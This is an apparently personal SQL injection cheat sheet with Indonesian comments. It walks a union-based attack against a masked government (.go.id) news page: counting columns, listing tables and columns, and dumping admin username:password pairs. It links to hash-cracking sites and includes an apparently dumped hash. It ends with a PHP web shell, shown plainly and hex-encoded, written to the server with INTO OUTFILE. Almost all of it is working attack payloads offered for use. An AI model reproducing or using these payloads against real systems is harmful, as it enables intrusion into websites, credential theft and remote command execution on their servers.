SQLI

+order+by+7--
+union+select+1,2,3,4,5,6,7--
+union+select+1,2,@@version,4,5,6,7--
+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_schema=database()--

#Char Konver Decimal
https://www.easycalculation.com/ascii-hex.php

+union+select+1,2,group_concat(column_name),4,5,6,7+from+information_schema.columns+where+table_name=CHAR(117,115,101,114,95,116,98,108)--

+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+user_tbl--

https://hashkiller.co.uk/md5-decrypter.aspx


http://codebeautify.org/string-hex-converter


Other SQLI


//Cari Jumlah Colom
http://xxxx.go.id/news_detail.php?id=24' order by 8-- DmBU

//cari versi db
http://xxxx.go.id/news_detail.php?id=24' UNION ALL SELECT

'1','2','3',@@version,'5','6','7','8' FROM

information_schema.columns WHERE table_name=CHAR

(97,100,109,105,110)-- DmBU

//Lihat Tabel
http://xxxx.go.id/news_detail.php?id=24' UNION ALL SELECT

'1','2','3',group_concat(table_name),'5','6','7','8' FROM

information_schema.tables WHERE TABLE_TYPE='BASE TABLE'-- DmBU


//Lihat Colom
http://xxxx.go.id/news_detail.php?id=24' UNION ALL SELECT

'1','2','3',group_concat(column_name),'5','6','7','8' FROM

information_schema.columns WHERE table_name=CHAR

(97,100,109,105,110)-- DmBU

id,user,pass
//Lihat User+Password
http://xxxx.go.id/news_detail.php?id=24' UNION ALL SELECT

'1','2','3',group_concat(user,0x3a,pass),'5','6','7','8' FROM

admin-- DmBU


e3bd72cc2bd5583fcbf95c334b8ce





http://www.xxxx.go.id/bmsimages/1475635389.jpg
www.xxxx.go.id/bmsimages/1475635389.jpg


<? $cmd = $_GET["cmd"]; if (!empty($cmd)) { echo "<pre>"; system

($cmd); echo "</pre>"; exit; } ?>


http://xxxx.go.id/news_detail.php?id=24' UNION ALL SELECT

'1','2','3',3c3f2024636d64203d20245f4745545b22636d64225d3b20696620

2821656d7074792824636d642929207b206563686f20223c7072653e223b207379

7374656d2824636d64293b206563686f20223c2f7072653e223b20657869743b20

7d203f3e,'5','6','7','8' into outfile '/bmsimages/cmd.php'-- DmBU